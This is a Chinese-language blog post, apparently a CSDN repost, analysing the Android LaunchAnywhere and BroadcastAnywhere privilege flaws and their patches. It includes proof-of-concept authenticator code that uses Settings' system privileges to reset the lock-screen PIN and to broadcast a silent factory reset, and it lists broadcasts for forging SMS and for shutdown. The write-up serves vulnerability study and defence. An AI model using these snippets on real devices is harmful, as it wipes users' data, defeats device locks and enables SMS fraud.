Android LaunchAnywhere组件权限绕过漏洞

前言

Android APP 应用的攻击面多数集中在对外暴露(exported="true”)的四大组件(Activity、Service、ContentProvider、BroadcastReceiver)上,当组件设置 exported=“false” 或者是添加了权限保护的情况下,三方应用程序无法直接访问该组件,也就很难去借助该类组件攻击 APP。

但是对于系统应用(具有系统签名、uid = system,所以具备行使 system 的权力)而言,它们是往往具有无视组件 exported=“false” 属性的能力的,可想而知,如果此类 app 存在可以被攻击者控制的漏洞的话,将使得攻击者 APP 也获得访问系统任意 APP 组件的能力,即本文想要讨论的 LaunchAnywhere。

Android组件调用权限检查

在 Android 中,可以说 System 用户拥有相当高的权限,通过阅读源码可以发现,所有 permissoin 检查的地方都是直接放行 System 用户的,具体见代码 ActivityManagerService.checkComponentPermission :
在这里插入图片描述
通过源码可以看到,对于 System 用户可以完全无视权限检查,不管组件是否为 exported=true,直接返回PERMISSION_GRANTED

LaunchAnyWhere

Google 曾经修复了一个组件安全的漏洞 LaunchAnyWhere(Google Bug 7699048)。这个漏洞属于 Intend Based 提取漏洞,攻击者利用这个漏洞,可以突破了应用间的权限隔离,达到调用任意私有 Activity(exported=false)的目的。该漏洞影响 Android 2.3 至 4.3 固件

Account 管理机制

从 Android2.0 开始,系统引入了 Account 管理机制,详细使用说明见 Android 官方文档。Account 管理机制提供了集中化管理帐户 API 以及安全存储用户口令和令牌的功能。在系统中,可以同时存在多个帐户(可通过”设置-添加帐户”可以查看),比如 Google、Miscrosoft Exchange、微信、支付宝、陌陌等等。
在这里插入图片描述
如果想要出现在这个页面里,应用需要声明一个账户认证服务 AuthenticationService:

<service
     android:name=".authenticator.AuthenticationService"
     android:exported="true">
     <intent-filter>
         <action android:name="android.accounts.AccountAuthenticator" />
     </intent-filter>
     <meta-data 
          android:name="android.accounts.AccountAuthenticator"
          android:resource="@xml/authenticator" />
</service>

历史漏洞原理分析

普通应用(记为 AppA)去请求添加某类账户时,会调用 AccountManager.addAccount,然后 AccountManager 会去查找提供账号的应用(记为 AppB)的 Authenticator 类,调用 Authenticator. addAccount 方法;AppA 再根据 AppB 返回的 Intent 去调起 AppB 的账户登录界面。
在这里插入图片描述
具体的代码,AccountManager.addAccount:
在这里插入图片描述
注意到 addAccount 函数最后执行一个 AmsTask 的异步任务,mRespone 是一个 Binder 对象,当 AuthenticationService 指定 Intent 后,就是把 Intent 保存到这个 respone 对象里,然后在 Response 中直接调用 startActivity:
在这里插入图片描述

我们可以将这个流程转化为一个比较简单的事实:

  1. AppA 请求添加一个特定类型的网络账号;
  2. 系统查询到 AppB 可以提供一个该类型的网络账号服务,系统向 AppB 发起请求;
  3. AppB 返回了一个 intent 给系统,系统把 intent 转发给 appA;
  4. AccountManagerResponse 在 AppA 的进程空间内调用 startActivity(intent) 调起一个 Activity,AccountManagerResponse 是 FrameWork 中的代码, AppA 对这一调用毫不知情

这种设计的本意是,AccountManager Service 帮助 AppA 查找到 AppB 账号登陆页面,并呼起这个登陆页面。而问题在于,AppB 可以任意指定这个 intent 所指向的组件,AppA 将在不知情的情况下由AccountManagerResponse 调用起了一个 Activity。如果 AppA 是一个 system 权限应用(比如Settings),那么 AppA 能够调用起任意 AppB 指定的未导出 Activity。

而为了指定拉起任意组件,Step 3 中 AppB 返回 bundle 的代码可以如下:

public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) {
    
    
        Intent intent = new Intent();
        intent.setComponent(new ComponentName(
                "com.trick.trick ",
                   " com.trick. trick.AnyWhereActivity"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;
}

 
 
  
  

如何利用上述漏洞?

上文已经提到过,如果假设 AppA 是Settings,AppB 是攻击程序。那么只要能让 Settings 触发 addAcount 的操作,就能够让 AppB launchAnyWhere。而问题是,怎么才能让 Settings 触发添加账户呢?

如果从“设置->添加账户”的页面去触发,则需要用户手工点击才能触发,这样攻击的成功率将大大降低,因为一般用户是很少从这里添加账户的,用户往往习惯直接从应用本身登录。不过现在就放弃还太早,其实 Settings 早已经给我们留下触发接口。只要我们调用 com.android.settings.accounts.AddAccountSettings,并给 Intent 带上特定的参数,即可让 Settings 触发 launchAnyWhere:

Intent intent1 = new Intent();
intent1.setComponent(new ComponentName("com.android.settings",
        "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {
    
    Constants.ACCOUNT_TYPE};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);

 
 
  
  

漏洞利用的流程示意图如下:
在这里插入图片描述

漏洞的利用与防御

主要的攻击对象还是应用中未导出的 Activity,特别是包含了一些 intenExtra 的 Activity。

比如绕过手机 pin 码原密码的认证界面,直接拉起输入新密码的 Activity 从而直接重置手机系统 pin 码:

intent.setComponent(new ComponentName("com.android.settings",
                  "com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

即借助 Setting 拉起如下页面:
在这里插入图片描述
Android 历史上也还发生过另外一种可以以上拉起 Pin 码重置页面的漏洞,参见 [翻译]Android框架层漏洞-Fragment注入,漏洞太古老且没多大参考价值,此处不展开。

漏洞的修复

这个漏洞在 4.4 上已经修复,看看修复的代码,可以找到防御的思路:

public void onResult(Bundle result) {
    
    
             mNumResults++;
-            if (result != null && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
    
    
+            Intent intent = null;
+            if (result != null
+                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
    
    
+                /*
+                 * The Authenticator API allows third party authenticators to
+                 * supply arbitrary intents to other apps that they can run,
+                 * this can be very bad when those apps are in the system like
+                 * the System Settings.
+                 */
+                PackageManager pm = mContext.getPackageManager();
+                ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
+                int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
+                int authenticatorUid = Binder.getCallingUid();
+                if (PackageManager.SIGNATURE_MATCH !=
+                        pm.checkSignatures(authenticatorUid, targetUid)) {
    
    
+                    throw new SecurityException(
+                            "Activity to be started with KEY_INTENT must " +
+                            "share Authenticator's signatures");
+                }
+            }
+            if (result != null
+                    && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
    
    
                 String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
                 String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
                 if (!TextUtils.isEmpty(accountName) && !TextUtils.isEmpty(accountType)) {
    
    
@@ -2223,6 +2276,7 @@
             super(looper);
         }

 
 
  
  

由于 Resopne 是一个 Binder 对象,因此当 onResult 被回调时,可以通过 Binder.getCallingUid() 获取 authenticatorUid,如果 targetUid 跟 authenticatorUid 不相同,则直接对 AuthenticationService 抛异常。

BroadcastAnywhere

与 LaunchAnywhere 原理相似,通过这个漏洞,攻击者可以无视 BroadcastReceiver 组件访问限制,以 system 用户的身份发送广播。

与 LaunchAnywhere 相比,这两个漏洞的相同点在于:

  1. 都是利用了 addAccount 这个机制,一个恶意 app 通过注册为 account 的 authenticator 并处理某账号类型,然后发送 intent 给 settings app,让其添加该特定类型的账号。
  2. 都是利用 settings 这个应用具有 SYSTEM 权限,诱使 settings 来发送一个高权限的 intent。

两个漏洞的不同点在于:

  1. 本质原理不同:一个是恶意 app 返回一个 intent 被 settings launch,另外一个是 settings 发出一个 pendingintent 给恶意 app,而恶意 app 利用 pendingintent 的特点来修改 pendingitent 的 action 与 extras,并以 settings 的身份发出
  2. 漏洞代码位置不同:一个是 accountmanger 中,一个是 settings 中;
  3. 后果不同:launchAnywhere 是以 system 权限启动 activity,而 broadcastAnywhere 是一个 system 权限发送 broadcast,前者往往需要界面,而后者不需要界面。

漏洞具体原理分析

关于 PendingIntent,简单理解是一种异步发送的 intent,通常被使用在通知 Notification 的回调,短消息 SmsManager 的回调和警报器 AlarmManager 的执行等等,是一种使用非常广的机制。其具体使用和威胁可以参见我的另一篇博文:PendingIntent劫持导致app任意文件读写漏洞

PendingIntent 的安全风险主要发生在下面两个条件同时满足的场景下:

  1. 构造 PendingIntent 时的原始 Intent 既没有指定 Component,也没有指定 action;
  2. 将 PendingIntent 泄露给第三方。

如果原始 Intent 的 Component 与 action 都为空(“双无”Intent),B 就可以通过修改 action 来将 Intent 发送向那些声明了 intent filter 的组件,如果 A 是一个有高权限的 APP(如 settings 就具有 SYSTEM 权限),B 就可以以 A 的身份做很多事情。

在Android 4.4 版本的 settings 系统应用 AddAccountSettings 类的 addAccount 函数:
在这里插入图片描述
可见一个 mPendingIntent 是通过 new Intent() 构造原始 Intent 的,所以为“双无” Intent,这个 PendingIntent 最终被通过 AccountManager.addAccount 方法传递给了恶意 APP 。

漏洞利用

最初报告这个漏洞给 Android 时,用的伪造短信的 POC,例如可以伪造 10086 发送的短信,这与收到正常短信的表象完全一致。后来又更新了一个 Factory Reset 的 POC,可以强制无任何提示将用户手机恢复到出厂设置,清空短信与通信录等用户数据,恶意 APP 的接口代码片段如下:

@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
    
    
   //这里通过getParcelable(“pendingintent”)就获得了settings传过来的“双无”PendingIntent:
   PendingIntent test = (PendingIntent)options.getParcelable("pendingIntent"); 
   Intent newIntent2 = new Intent("android.intent.action.MASTER_CLEAR");
   try {
    
    
       test.send(mContext, 0, newIntent2, null, null);
   } catch (CanceledException e) {
    
    
       e.printStackTrace();
   }
}

 
 
  
  

事实上可利用的广播实在太多了,比如:

  1. 发送 android.provider.Telephony.SMS_DELIVER 能够伪造接收短信;
  2. 发送 android.intent.action.ACTION_SHUTDOWN 能够直接关机;
  3. 发送 android.intent.action.MASTER_CLEAR 广播,设备将恢复至出厂设置。

攻击者通过漏洞能够伪造亲朋好友或者银行电商的短信。跟正常的短信全然无异,普通用户根本无法甄别。除了伪造短信外,攻击者能够利用该漏洞恢复出厂设置等。

漏洞官方修复方案

在 Android 5.0 的源码中,修复方法是设置了一个虚构的 Action 与 Component,参见 Android源码
在这里插入图片描述

总结

总结下上述两个漏洞的根因:

  1. LaunchAnywhere 漏洞:在于系统服务 AccountManager Server “自作主张”调用 StartActivity 以 Settings 系统应用的进程身份帮助其拉起了攻击者可控的 Intent,最终导致攻击者可以借助系统应用 Settings 的权限来拉起任意组件;
  2. BroadcastReceiver 漏洞:在于系统应用 Settings 发送一个未设置 action/componnent 的 PendingIntent 给到三方应用程序,最终导致攻击者可以借助系统应用 Settings 的权限来发送任意广播。

两个漏洞给我们安全测试/开发人员的启示:

  1. Android 系统服务并不是“坚不可摧”、“密不透风”的,安全审计过程中如果发现框架层的系统服务存在漏洞,往往能够“大杀四方”;
  2. Android 系统应用具有特殊的高规格权限,能够拉起任意组件的能力如果被攻击者利用,那么后果是十分可怕的;
  3. PendingIntent 具有将发送方 appA 的权限的传递给接收方的能力,这直接决定了 PendingIntent 劫持类型的漏洞作用在系统应用上时,恶意应用将获得极大的权力。

猜你喜欢

转载自blog.csdn.net/ab6326795/article/details/131207183